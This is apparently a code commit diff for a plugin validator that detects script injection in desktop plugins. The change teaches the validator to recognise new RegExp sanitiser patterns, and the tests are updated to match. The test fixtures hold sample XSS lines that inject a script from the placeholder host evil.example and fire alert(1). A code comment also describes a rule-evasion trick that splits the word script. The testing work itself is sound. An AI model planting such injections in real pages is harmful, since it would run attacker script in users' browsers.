Skip to content

The agent that grows with you

fix(plugins): desktop lint reads a new RegExp("<script…") pattern as a sanitiser

teknium100c9f3ec58aa
diff --git a/hermes_cli/plugin_validate_desktop.py b/hermes_cli/plugin_validate_desktop.py
index c48a790048f..2ee8f9415e1 100644
--- a/hermes_cli/plugin_validate_desktop.py
+++ b/hermes_cli/plugin_validate_desktop.py
@@ -41,13 +41,17 @@ _COMMENT = re.compile(r"/\*.*?\*/|(?<![:\w])//[^\n]*", re.S)
# feed sanitiser that STRIPS script tags is the opposite of the move the rule refuses. Regex
# literals are masked for the markup-shaped rules only; a ``<script`` inside a string literal is
# still the payload of an ``innerHTML`` write and keeps firing. The lookbehind keeps division
-# (``a / b / c``) from reading as a literal.
+# (``a / b / c``) from reading as a literal. The pattern string handed straight to ``new RegExp(``
+# is the same sanitiser spelled for a dynamic flag (rss-reader split it into ``"<scr"+"ipt"`` to
+# dodge this rule) — only that first-argument literal is masked, not the flags or anything after.
_REGEX_LITERAL = re.compile(r"(?<![\w)\]])/(?:[^/\\\n\[]|\\.|\[(?:[^\]\\\n]|\\.)*\])+/[a-z]*")
+_REGEXP_CTOR_PATTERN = re.compile(r"\bnew\s+RegExp\(\s*(?:\"(?:[^\"\\\n]|\\.)*\"|'(?:[^'\\\n]|\\.)*')")
_MARKUP_RULES = frozenset({"script injection"})
def _mask_regex_literals(source: str) -> str:
- return _REGEX_LITERAL.sub(lambda m: " " * len(m.group(0)), source)
+ masked = _REGEX_LITERAL.sub(lambda m: " " * len(m.group(0)), source)
+ return _REGEXP_CTOR_PATTERN.sub(lambda m: " " * len(m.group(0)), masked)
def desktop_surface_findings(source: str) -> List[Tuple[str, int]]:
diff --git a/tests/hermes_cli/test_plugin_validate.py b/tests/hermes_cli/test_plugin_validate.py
index 0569ccb03ad..5e3aea7c03f 100644
--- a/tests/hermes_cli/test_plugin_validate.py
+++ b/tests/hermes_cli/test_plugin_validate.py
@@ -291,14 +291,18 @@ class TestDesktopSurface:
"const clean = html.replace(/<script[\\s\\S]*?<\\/script>/gi, '').replace(/<style[\\s\\S]*?<\\/style>/gi, '')\n"
"const ratio = total / count / 2\n"
"el.innerHTML = '<script src=\"https://evil.example/x.js\"></script>'\n"
- "const tag = document.createElement('script')\n"
+ "const tag = document.createElement('script'); tag.src = 'https://evil.example/x.js'; document.head.append(tag)\n"
+ "const dyn = html.replace(new RegExp(\"<script[\\\\s\\\\S]*?<\\\\/script>\", flags), '')\n"
+ "el.innerHTML = new RegExp('x') && '<script>alert(1)</script>'\n"
))
report = validate_plugin_dir(d)
failed = {name: detail for name, ok, detail in report.checks if not ok}
assert "desktop surface" in failed
assert ":1)" not in failed["desktop surface"]
+ assert ":5)" not in failed["desktop surface"] # the same sanitiser via the RegExp constructor
assert "script injection (desktop/plugin.js:3)" in failed["desktop surface"]
assert "script injection (desktop/plugin.js:4)" in failed["desktop surface"]
+ assert "script injection (desktop/plugin.js:6)" in failed["desktop surface"]
def test_prototype_patch_and_chunk_import_fail(self, tmp_path):
d = self._desktop_plugin(tmp_path, (